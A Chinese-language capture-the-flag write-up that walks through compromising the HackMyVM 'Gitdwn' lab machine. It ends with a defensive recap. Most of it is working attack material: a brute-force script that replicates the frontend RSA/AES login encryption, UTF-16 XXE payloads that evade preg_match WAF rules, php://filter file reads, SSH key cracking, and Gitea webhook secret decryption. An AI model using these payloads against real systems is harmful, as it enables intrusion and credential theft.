HackMyVM Gitdwn 通关记录|前端加密逆向、UTF-16 绕过 XXE WAF、Gitea Webhook 解密与 Git Stash 凭据泄露
靶机链接:Gitdwn
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Gitdwn | 192.168.1.118 | Debian 11 (bullseye) 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache | 锁定攻击面:Web 服务是主要入口 |
| 前端加密逆向 | RSA PKCS#1 v1.5 + AES-128-CBC(CryptoJS + JSEncrypt) | Python 复现加密逻辑以进行密码爆破 |
| 密码爆破 | admin:hotdog(Rockyou 前 5000) | 获取 Web 登录凭据 |
| WAF 分析 | <!DOCTYPE、<!ENTITY、php|filter|... 正则拦截 | 确认 XXE 存在但被防护 |
| UTF-16 Bypass | UTF-16LE 编码在每字节间插入 \x00,preg_match 失效 | 绕过两套 WAF 正则,完全解锁 XXE |
| php://filter 读文件 | php://filter/convert.base64-encode/resource= | base64 编码后安全回传含特殊字符的文件 |
| SSH 私钥获取 | /home/git/.ssh/id_ed25519 加密私钥 → John 破解 logitech | 获取 git 用户 SSH 访问 |
| Gitea 数据库枚举 | SQLite DB /var/lib/gitea/data/gitea.db → webhook 表 | 发现加密的 Bearer 授权头 |
| Webhook 解密 | SHA256(SECRET_KEY) → AES-256-CFB 解密 → bilir!@# | 获得 bilir 用户 SSH 密码 |
| Git Stash 泄露 | /home/bilir/code/.git 仓库 stash 中残留 mazesec123123 | 获得 root 系统密码 |
| Root Flag | SSH root 登录 | 完成靶机 |
0x02 侦察与信息收集 (Reconnaissance)
1. RustScan 联动 Nmap 端口扫描
先用 RustScan 做快速端口发现,并将结果交给 Nmap 进行服务识别与脚本扫描:
rustscan -a 192.168.1.118 -- -sV -sC -oN nmap_scan.txt
输出:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-title: MazeSec Community - Login
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:FF:9A:98 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现的端口:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 |
| 80/tcp | HTTP | Apache httpd 2.4.62 (Debian) |
2. 全端口确认
nmap -p- -T4 --min-rate=10000 192.168.1.118
输出:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Not shown: 65533 closed tcp ports (reset)
结论: 目标仅开放 22(SSH)和 80(HTTP)两个 TCP 端口。攻击面极窄,Web 应用是唯一入口。
0x03 Web 枚举与信息收集
1. Web 首页分析
curl -s http://192.168.1.118/ -o /tmp/index.html && cat /tmp/index.html
输出(关键片段):
<title>MazeSec Community - Login</title>
<link rel="stylesheet" href="styles.css">
<script src="libs/crypto-js.min.js"></script> <!-- AES 加密库 -->
<script src="libs/jsencrypt.min.js"></script> <!-- RSA 加密库 -->
<form id="loginForm" class="login-form">
<input type="text" id="username" name="username" required>
<input type="password" id="password" name="password" required>
<button type="submit" class="btn-primary">Sign In</button>
</form>
<script src="login.js"></script> <!-- 加密逻辑 -->
关键发现:
- 登录页使用了 CryptoJS(AES 加密)和 JSEncrypt(RSA 公钥加密)
- 密码在前端被 RSA + AES 双重加密后发送,不是明文传输
/libs/目录列出了库文件,/api/目录列出了 PHP 接口
2. dirsearch 目录爆破
dirsearch -u http://192.168.1.118
输出:
[11:52:43] 200 - 955B - /dashboard.js
[11:52:43] 200 - 811B - /dashboard.html <-- 无需认证!
[11:49:11] 301 - 312B - /api -> /api/
[11:49:11] 200 - 480B - /api/ <-- 目录列表!
[11:49:13] 200 - 811B - /dashboard.html
[11:49:15] 301 - 313B - /libs -> /libs/
[11:49:15] 200 - 2KB - /login.js
关键发现:
/api/— 目录列表开启,可看到login.php(4.4K)和import.php(2.1K)/dashboard.html— 无需认证即可访问,包含 XML 导入功能和系统信息/libs/— 目录列表开启,包含crypto-js.min.js和jsencrypt.min.js
3. Dashboard 信息泄露
curl -s http://192.168.1.118/dashboard.html
输出(关键片段):
<title>MazeSec Community - Admin Dashboard</title>
<span id="username">Admin</span>
<h2>Data Import</h2>
<p>Import data from XML files. The system will parse and process
the imported data automatically.</p>
<form id="importForm" enctype="multipart/form-data">
<input type="file" id="xmlFile" name="xmlFile" accept=".xml">
<button type="submit">Import Data</button>
</form>
<h2>System Information</h2>
<p><strong>Server:</strong> <code>mazesec-web-01</code></p>
<p><strong>PHP Version:</strong> <code>8.1.0</code></p>
<p><strong>Status:</strong> All systems operational</p>
信息汇总:
| 信息 | 值 |
|---|---|
| 服务器 | mazesec-web-01 |
| PHP 版本 | 8.1.0 |
| 用户名 | Admin |
| XML 导入 | /api/import.php |
| 认证方式 | Cookie session_token(仅客户端检查) |
0x04 前端加密逆向与密码爆破
配套脚本: 01_login_bruteforce.py — 复现加密逻辑 + Rockyou 字典爆破,一键完成本节所有操作。
1. 前端加密算法分析(login.js)
curl -s http://192.168.1.118/login.js
完整的加密流程:
const RSA_PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
...
-----END PUBLIC KEY-----`;
// Step 1: 生成随机 AES-128 密钥和 IV(各 16 字节)
const aesKey = CryptoJS.lib.WordArray.random(128/8);
const iv = CryptoJS.lib.WordArray.random(128/8);
// Step 2: AES-128-CBC 加密用户凭据 JSON
const credentials = JSON.stringify({ username, password });
const encrypted = CryptoJS.AES.encrypt(credentials, aesKey, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
const encryptedData = encrypted.ciphertext.toString(CryptoJS.enc.Base64);
// Step 3: RSA 公钥(PKCS#1 v1.5)加密 AES 密钥和 IV
const encrypt = new JSEncrypt();
encrypt.setPublicKey(RSA_PUBLIC_KEY);
const encryptedKey = encrypt.encrypt(aesKeyBase64); // → base64
const encryptedIv = encrypt.encrypt(ivBase64); // → base64
// Step 4: POST /api/login.php
fetch('/api/login.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ encryptedData, encryptedKey, encryptedIv })
});
// Step 5: 成功后设置 cookie 并跳转
// document.cookie = `session_token=${result.token}; path=/`;
// window.location.href = '/dashboard.html';
加密架构:
客户端 服务端
┌─────────────┐ ┌─────────────┐
│ 生成 AES Key │ │ RSA 私钥解密 │
│ + IV (随机) │ │ 获取 AES Key │
│ ↓ │ │ + IV │
│ AES 加密 │ │ ↓ │
│ credentials │ ──POST /api/──→ │ AES 解密 │
│ ↓ │ login.php │ credentials │
│ RSA 公钥加密 │ │ ↓ │
│ AES Key + IV │ │ 验证用户名 │
│ │ │ 密码 (MD5) │
│ │ ←──session_token── │ ↓ │
│ 设置 Cookie │ │ 创建 Session │
└─────────────┘ └─────────────┘
2. Python 复现加密逻辑
由于需要爆破密码,必须用 Python 精确复现 JS 加密流程:
import requests, base64, json
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""
def encrypt_login(username, password):
# Step 1: 生成随机 AES-128 Key 和 IV
aes_key = get_random_bytes(16)
iv = get_random_bytes(16)
# Step 2: AES-128-CBC 加密 credentials JSON
credentials = json.dumps({"username": username, "password": password})
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
encrypted_data = cipher.encrypt(pad(credentials.encode(), AES.block_size))
encrypted_data_b64 = base64.b64encode(encrypted_data).decode()
# Step 3: RSA PKCS#1 v1.5 加密 AES Key 和 IV
rsa_key = RSA.import_key(RSA_PUBLIC_KEY)
rsa_cipher = PKCS1_v1_5.new(rsa_key)
aes_key_b64 = base64.b64encode(aes_key).decode()
iv_b64 = base64.b64encode(iv).decode()
encrypted_key = base64.b64encode(
rsa_cipher.encrypt(aes_key_b64.encode())
).decode()
encrypted_iv = base64.b64encode(
rsa_cipher.encrypt(iv_b64.encode())
).decode()
return {
"encryptedData": encrypted_data_b64,
"encryptedKey": encrypted_key,
"encryptedIv": encrypted_iv
}
需要安装 pycryptodome 库:
pip install pycryptodome
3. 密码爆破 — Rockyou 字典
url = "http://192.168.1.118/api/login.php"
with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') as f:
for i, line in enumerate(f):
if i >= 5000: break
password = line.strip()
if not password: continue
payload = encrypt_login("admin", password)
r = requests.post(url, json=payload, timeout=3)
if '"success":true' in r.text:
print(f"*** SUCCESS: admin:{password} ***")
print(r.text)
break
输出:
Tried 500... last: xavier
*** SUCCESS! admin:hotdog ***
{"success":true,"message":"Login successful",
"token":"91795c20aa7464267a3b7bf3c5aa77ce9de0255d38fb515172d96a7ed533606f"}
凭据: admin:hotdog
密码 hotdog 在 Rockyou 字典的前 500 位左右,属于极常见弱密码。即使系统使用了客户端加密,弱密码依然容易通过离线字典攻击快速爆破。
0x05 XXE 漏洞发现与 WAF 绕过
配套脚本: 02_xxe_reader.py — UTF-16 绕过 WAF + php://filter 读任意文件,一行命令完成本节所有 XXE 操作。
1. Dashboard.js 认证机制分析
curl -s http://192.168.1.118/dashboard.js
关键代码:
// 仅客户端检查 Cookie 是否存在!
if (!cookies.session_token) {
window.location.href = '/index.html';
return;
}
// XML 文件上传到 /api/import.php
const formData = new FormData();
formData.append('xmlFile', file);
const response = await fetch('/api/import.php', {
method: 'POST',
body: formData
});
// 成功后将 result.data 渲染到页面
发现: 客户端只检查 Cookie 是否存在,但服务端 /api/import.php 还会检查 $_SESSION['username'](需要先登录获得有效 Session)。
2. 登录获取 Session
必须保持 PHPSESSID 和 session_token 两个 Cookie。PHPSESSID 由服务器 Set-Cookie 自动设置,session_token 由 JS 客户端设置(服务器也会验证)。
session = requests.Session()
payload = encrypt_login("admin", "hotdog")
r = session.post("http://192.168.1.118/api/login.php", json=payload)
# 服务器返回 PHPSESSID 和 token
print("PHPSESSID:", session.cookies.get('PHPSESSID'))
token = r.json().get('token')
session.cookies.set('session_token', token)
3. 初步 XXE 测试(被拦截)
xxe_test = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>"""
r = session.post("http://192.168.1.118/api/import.php",
files={"xmlFile": ("test.xml", xxe_test, "text/xml")})
print(r.text)
输出:
{"success":false,"message":"not this way, sir"}
被拦截!说明服务端有 XXE 防护。
4. 读取 import.php 源码(通过 XXE)
通过后续的 UTF-16 绕过方法成功读取了 import.php 源码。先在这里展示以帮助理解 WAF 逻辑:
<?php
session_start();
if (!isset($_SESSION['username'])) {
die('{"success":false,"message":"Unauthorized"}');
}
$xmlContent = file_get_contents($tmpPath);
// WAF 规则 1: 拦截 DOCTYPE 或 ENTITY 声明
if (preg_match('/(\<\!DOCTYPE|\<\!ENTITY)/is', $xmlContent)) {
die('{"success":false,"message":"not this way, sir"}');
}
// WAF 规则 2: 拦截 PHP wrapper 关键字符串
if (preg_match('/php|filter|expect|glob|phar|host|encode|decode|conf|\%/is', $xmlContent)) {
die('{"success":false,"message":"bad word!"}');
}
// 危险!LIBXML_NOENT 启用外部实体替换
$xml = simplexml_load_string($xmlContent, 'SimpleXMLElement',
LIBXML_NOENT | LIBXML_DTDLOAD);
WAF 规则分析:
| 规则 | 正则 | 拦截什么 |
|---|---|---|
| 规则 1 | (\<\!DOCTYPE|\<\!ENTITY)/is | DOCTYPE / ENTITY 声明 |
| 规则 2 | php|filter|expect|glob|phar|host|encode|decode|conf|% | PHP wrapper 关键字 |
5. UTF-16 编码绕过 WAF(核心突破)
绕过原理: PHP 的 preg_match() 在原始字节上操作。UTF-16LE 编码会在每个 ASCII 字符后插入一个 \x00(null byte),导致正则无法匹配原生 ASCII 模式:
原始 ASCII: < ! D O C T Y P E
十六进制: 3C 21 44 4F 43 54 59 50 45
↓ UTF-16LE 编码 ↓
UTF-16LE: 3C 00 21 00 44 00 4F 00 43 00 54 00 59 00 50 00 45 00
↑ null byte ↑
preg_match 搜索: < ! D O C T Y P E
✗ 不匹配!(被 null byte 打断)
同样地,php → p\x00h\x00p\x00,正则搜索 php 也匹配不到。
实现:
def make_xxe_payload(filepath):
"""生成 UTF-16 编码的 XXE payload"""
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file://{filepath}">]>
<root><data>&xxe;</data></root>"""
return xml.encode('utf-16')
# 测试:读取 /etc/hostname
payload = make_xxe_payload("/etc/hostname")
r = session.post("http://192.168.1.118/api/import.php",
files={"xmlFile": ("test.xml", payload, "text/xml")})
print(r.text)
输出:
{"success":true,"message":"Data imported successfully",
"data":{"data":"gitdwn\n"}}
✅ 成功读取文件!WAF 两套正则均被绕过!
6. php://filter 读取含特殊字符的文件
直接读取文件时,如果文件内容包含 XML 特殊字符(<, >, & 等),会破坏 XML 结构导致解析失败。使用 php://filter/convert.base64-encode 可以先将文件内容 base64 编码后再传回:
def read_file_b64(filepath):
"""UTF-16 编码 + php://filter base64 读取任意文件"""
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={filepath}">]>
<root><data>&xxe;</data></root>"""
r = session.post("http://192.168.1.118/api/import.php",
files={"xmlFile": ("test.xml", xml.encode('utf-16'), "text/xml")})
j = r.json()
if j.get('success') and j.get('data', {}).get('data'):
b64_data = j['data']['data']
return base64.b64decode(b64_data).decode('utf-8', errors='replace')
return None
php://filter 写作文本为 p\x00h\x00p\x00:\x00/\x00/\x00f\x00i\x00l\x00t\x00e\x00r\x00,所有关键字符串都被 null byte 切割,preg_match 全部失配!
0x06 敏感文件读取与凭据收集
1. 读取 import.php 完整源码
print(read_file_b64("/var/www/html/api/import.php"))
完整源码(关键部分已在 0x05 展示),补充发现:
// 使用 LIBXML_NOENT | LIBXML_DTDLOAD 启用外部实体
$xml = simplexml_load_string($xmlContent, 'SimpleXMLElement',
LIBXML_NOENT | LIBXML_DTDLOAD);
$data = json_decode(json_encode($xml), true);
echo json_encode(['success' => true, 'data' => $data]);
2. 读取 login.php — 发现 RSA 私钥!
print(read_file_b64("/var/www/html/api/login.php"))
关键代码:
$RSA_PRIVATE_KEY = <<<KEY
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC3qXeTje+4j7w4
MeGvTur98GzDJaq/l3RKyhfb6LmtbL3w9bnwc2sq95TogNGFYU6YDwxDSPvNRwff
dUZpA05l0jyCajil2UAFAnsQzgTooZgLGXIiLhC3JSisE/ql9LWeUsLIAhzJuemJ
...
-----END PRIVATE KEY-----
KEY;
$VALID_CREDENTIALS = [
'admin' => md5('hotdog')
];
// Session 创建逻辑
$sessionToken = bin2hex(random_bytes(32));
session_start();
$_SESSION['username'] = $username;
$_SESSION['token'] = $sessionToken;
关键发现:
- RSA 私钥硬编码在源码中
- 凭据验证使用 MD5 哈希:
md5('hotdog') - Session Token 使用
random_bytes(32)生成(无法预测)
3. 读取 /etc/passwd — 发现系统用户
print(read_file_b64("/etc/passwd"))
关键行:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
git:x:1001:1001::/home/git:/bin/bash
bilir:x:1002:1002::/home/bilir:/bin/bash
发现了两个可登录用户: git (UID 1001) 和 bilir (UID 1002)。
4. 读取 SSH 私钥
# 搜索 SSH 私钥
print(read_file_b64("/home/git/.ssh/id_ed25519"))
输出:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDw27ezFa
JQTEi2prBXvDkoAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIKFZmdQK4Puv6jNg
...
-----END OPENSSH PRIVATE KEY-----
同时读取 authorized_keys 确认密钥对应:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKFZmdQK4Puv6jNgRmBH9m190f2g3MycNX8jFmOgp09z git@gitdwn
这是一个有密码保护的 OpenSSH 私钥(header 中 aes256-ctr 和 bcrypt 表明已加密)。
0x07 SSH 私钥破解与初始访问
1. John the Ripper 破解私钥密码
# 将私钥复制到 Kali
# 用 ssh2john 转换为 John 可处理的 hash 格式
/usr/share/john/ssh2john.py /tmp/found_key_id_ed25519 > /tmp/git_key.hash
# 使用 Rockyou 字典破解
john /tmp/git_key.hash --wordlist=/usr/share/wordlists/rockyou.txt
输出:
logitech (/tmp/found_key_id_ed25519)
1g 0:00:00:41 DONE (2026-07-17 12:27) 0.02415g/s 45.60p/s 45.60c/s 45.60C/s
私钥密码: logitech
2. 移除密钥密码并 SSH 登录
# 移除私钥密码短语并修改权限
ssh-keygen -p -P "logitech" -N "" -f /tmp/found_key_id_ed25519
chmod 600 /tmp/found_key_id_ed25519
# SSH 登录
ssh -i /tmp/found_key_id_ed25519 \
-o StrictHostKeyChecking=no \
git@192.168.1.118 'id; uname -a'
输出:
uid=1001(git) gid=1001(git) groups=1001(git)
Linux gitdwn 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
3. 读取 User Flag
ssh -i /tmp/found_key_id_ed25519 git@192.168.1.118 'cat /home/git/user.txt'
User Flag:
flag{user-8727fc2a5b261f82905333ed0936025b}
0x08 Gitea 枚举与 Webhook 解密
配套脚本: 03_gitea_webhook_decrypt.py — AES-256-CFB 解密 Gitea Webhook Bearer Token,一键还原加密的 Authorization 头。
1. 发现 Gitea 服务
登录后枚举本地监听端口:
ssh -i /tmp/found_key_id_ed25519 git@192.168.1.118 'ss -tlnp'
输出:
LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("gitea",pid=343,fd=14))
LISTEN 0 128 127.0.0.1:25 0.0.0.0:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 *:22 *:*
关键发现: Gitea(Go 语言自建 Git 服务)运行在 127.0.0.1:3000。
2. Gitea 配置文件
ssh git@192.168.1.118 'cat /etc/gitea/app.ini'
关键配置:
APP_NAME = Mazesec Gitea
RUN_USER = git
[server]
DOMAIN = 127.0.0.1
HTTP_PORT = 3000
[database]
DB_TYPE = sqlite3
PATH = /var/lib/gitea/data/gitea.db
[security]
SECRET_KEY = mazesec_ctf_key_123
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NjMyMjAwNDN9.4CB26EJsLb5kGvrL2mixgwkItbqXS5hPcM5Vmq51M3A
[actions]
ENABLED = true
[repository]
ROOT = /var/lib/gitea/data/gitea-repositories
关键信息:
| 配置项 | 值 | 用途 |
|---|---|---|
| SECRET_KEY | mazesec_ctf_key_123 | Gitea 数据加密主密钥 |
| DB_TYPE | sqlite3 | 数据库类型 |
| DB_PATH | /var/lib/gitea/data/gitea.db | 数据库文件路径 |
3. Gitea 数据库枚举
ssh git@192.168.1.118 "sqlite3 /var/lib/gitea/data/gitea.db \
'SELECT id, lower_name, is_admin FROM user;'"
输出:
1|root|1 <-- Gitea 管理员!
2|bilir|0
# 查看 webhook 表结构
ssh git@192.168.1.118 "sqlite3 /var/lib/gitea/data/gitea.db '.schema webhook'"
关键字段:
CREATE TABLE `webhook` (
`url` TEXT,
`header_authorization_encrypted` TEXT, -- 加密的 Authorization 头!
...
);
# 读取 webhook 数据
ssh git@192.168.1.118 "sqlite3 /var/lib/gitea/data/gitea.db \
'SELECT id, repo_id, url, header_authorization_encrypted, is_active FROM webhook;'"
输出:
1|1|http://127.0.0.1:8888|e4a28a7a1dd990616c1314e61f5958f83717fbea95af00eadaa0e4bd65d8e771338ca3a175f57d33fd05ea81|1
发现:
- Webhook URL:
http://127.0.0.1:8888(对应/root/snake.git仓库) header_authorization_encrypted=e4a28a7a1dd990616c1314e61f5958f83717fbea95af00eadaa0e4bd65d8e771338ca3a175f57d33fd05ea81(82 个十六进制字符 = 44 字节)- Webhook 状态为活跃(
is_active=1)
4. 解密 Webhook Bearer Token
解密原理: Gitea 使用 AES-256-CFB 加密敏感字段。密钥来自 SHA256(SECRET_KEY):
import hashlib
from Crypto.Cipher import AES
SECRET_KEY = "mazesec_ctf_key_123"
encrypted_hex = "e4a28a7a1dd990616c1314e61f5958f83717fbea95af00eadaa0e4bd65d8e771338ca3a175f57d33fd05ea81"
encrypted = bytes.fromhex(encrypted_hex)
# Gitea 加密格式: IV (16 bytes) + ciphertext (CFB mode)
# Key = SHA256(SECRET_KEY) → 32 bytes
key = hashlib.sha256(SECRET_KEY.encode()).digest()
iv = encrypted[:16]
ciphertext = encrypted[16:]
# AES-256-CFB 解密
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
plaintext = cipher.decrypt(ciphertext)
print(plaintext.decode())
# → QmVhcmVyIFltbHNhWEloUUNNPQ==
输出: QmVhcmVyIFltbHNhWEloUUNNPQ==
echo "QmVhcmVyIFltbHNhWEloUUNNPQ==" | base64 -d
输出: Bearer YmlsaXIhQCM=
echo "YmlsaXIhQCM=" | base64 -d
输出: bilir!@#
完整 Auth 头: Authorization: Bearer YmlsaXIhQCM=(即 bilir!@# 的 base64 编码)
5. SSH bilir 用户登录
sshpass -p 'bilir!@#' ssh -o StrictHostKeyChecking=no bilir@192.168.1.118 'id'
输出:
uid=1002(bilir) gid=1002(bilir) groups=1002(bilir)
0x09 Git Stash 凭据泄露与 Root 提权
1. 发现 bilir 的 Git 仓库
sshpass -p 'bilir!@#' ssh bilir@192.168.1.118 'ls -la /home/bilir/code/'
输出:
total 20
drwxr-xr-x 3 bilir bilir 4096 Nov 16 2025 .
drwx------ 4 bilir bilir 4096 Nov 16 2025 ..
-rw-r--r-- 1 bilir bilir 82 Nov 15 2025 config.yaml
drwxr-xr-x 8 bilir bilir 4096 Nov 16 2025 .git
-rw-r--r-- 1 bilir bilir 21 Nov 16 2025 order.py
2. 查看 config.yaml
sshpass -p 'bilir!@#' ssh bilir@192.168.1.118 'cat /home/bilir/code/config.yaml'
输出:
database:
host: localhost
port: 3306
user: order_user
pass: [PLACEHOLDER]
密码是占位符 [PLACEHOLDER],但这是一个 Git 仓库,需要检查历史记录。
3. Git Stash — 关键发现
sshpass -p 'bilir!@#' ssh bilir@192.168.1.118 \
'cd /home/bilir/code && git stash list && git stash show -p'
输出:
stash@{0}: On master: temp
diff --git a/config.yaml b/config.yaml
index aeeba1c..d8ee8b5 100644
--- a/config.yaml
+++ b/config.yaml
@@ -2,4 +2,4 @@ database:
host: localhost
port: 3306
user: order_user
- pass: [PLACEHOLDER]
+ pass: mazesec123123
Stash 中泄露了真实密码: [PLACEHOLDER] → mazesec123123!
解释: git stash 是 Git 的"暂存"功能。开发者将 config.yaml 中的真实密码填入后执行了 git stash,意图暂时保存更改。但 stash 中的敏感数据被永久保留在 .git 目录中,任何能读取仓库的人都能通过 git stash show -p 查看。
4. Root SSH 登录
sshpass -p 'mazesec123123' ssh -o StrictHostKeyChecking=no root@192.168.1.118 \
'id; cat /root/root.txt'
输出:
uid=0(root) gid=0(root) groups=0(root)
flag{root-b87b0437b49b9ac088675c71de261e09}
Root Flag:
flag{root-b87b0437b49b9ac088675c71de261e09}
0x10 最终成果 (Final Flags)
User Flag
- 路径:
/home/git/user.txt - 内容:
flag{user-8727fc2a5b261f82905333ed0936025b} - 获取方式: XXE → 提取 SSH 私钥 → John 破解 → git SSH 登录
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-b87b0437b49b9ac088675c71de261e09} - 获取方式: Gitea Webhook 解密 → bilir SSH → Git Stash 泄露 → root 密码
mazesec123123
附件下载
以下三个 Python 脚本涵盖了本次渗透的核心技术环节,可直接下载用于复现或同类场景。环境依赖:pip install pycryptodome requests。
| 脚本 | 说明 | 下载 |
|---|---|---|
01_login_bruteforce.py | RSA+AES 前端加密逆向 + Rockyou 字典爆破 Web 登录 | 下载 |
02_xxe_reader.py | UTF-16LE 编码绕过 WAF + php://filter XXE 文件读取 | 下载 |
03_gitea_webhook_decrypt.py | AES-256-CFB 解密 Gitea Webhook Bearer Token | 下载 |
复盘总结
这台 Gitdwn 靶机是一条典型的 Web → 凭据泄露 → 横向移动 → Git 敏感信息泄露 → Root 攻击链:
-
前端加密不防爆破。 RSA + AES 双重加密看似安全,但弱密码
hotdog仍被 Rockyou 字典在 5000 次内爆破。前端加密只能防中间人,不能防字典攻击 — 后端应实施速率限制、账户锁定和密码复杂度策略。 -
目录列表是严重信息泄露。
/api/和/libs/允许目录浏览,直接暴露了 API 端点和依赖库。Apache 生产环境应禁用Options +Indexes。 -
UTF-16 编码绕过 WAF 是一个教训。
preg_match在原始字节上操作,不理解多字节编码。使用 UTF-16 编码在字符间插入\x00可使正则完全失效。防御方案:在正则匹配前先检测并拒绝异常编码,或使用mb_系列函数处理多字节字符串。 -
WAF 黑名单不完整。
preg_match拦截了php|filter|...但没有拦截file://和data://,更关键的是没有阻止外部实体加载(应使用libxml_disable_entity_loader(true)或设置LIBXML_NOENT为 false)。 -
硬编码密钥是一个根基性问题。 RSA 私钥和 Gitea SECRET_KEY 都硬编码在 PHP 源码中。一旦攻击者通过 LFI/XXE 读取源码,整个加密体系就崩溃了。
-
Git Stash 会永久保留敏感数据。 开发者以为
git stash只是"暂存",没有意识到 stash 中的更改会被永久保存在.git/refs/stash和.git/objects/中。敏感文件(如含密码的配置文件)永远不应该 被git add后再 stash。 -
密码复用普遍存在。
hotdog→ Web 登录,logitech→ SSH Key(需破解),bilir!@#→ SSH + Gitea,mazesec123123→ MySQL 配置 + root 系统用户。凭据复用使得攻击者一旦突破一个点就能横向移动。 -
凭据泄露链具有递进性。 每一步的凭据发现都为下一步铺路 — Web 登录 → SSH 私钥(XXE 读文件)→ Gitea DB → Webhook 解密 → bilir → Git Stash → root。防守方需要在每一层都设置独立防线。
防守侧修复建议:
- 关闭 Web 服务器目录列表(
Options -Indexes) - 实施登录速率限制和账户锁定策略
- 使用
libxml_disable_entity_loader(true)禁用 XXE - 避免在源码或配置文件中硬编码密钥和凭据
- 使用环境变量或密钥管理服务管理敏感配置
.git目录不应部署到生产 Web 根目录- 仓库历史中的敏感数据应使用
git filter-branch或 BFG 清理 - 定期审计 Git 仓库历史、stash 和 reflog 中的敏感信息
- 为不同服务和用户使用独立密码,防止凭据复用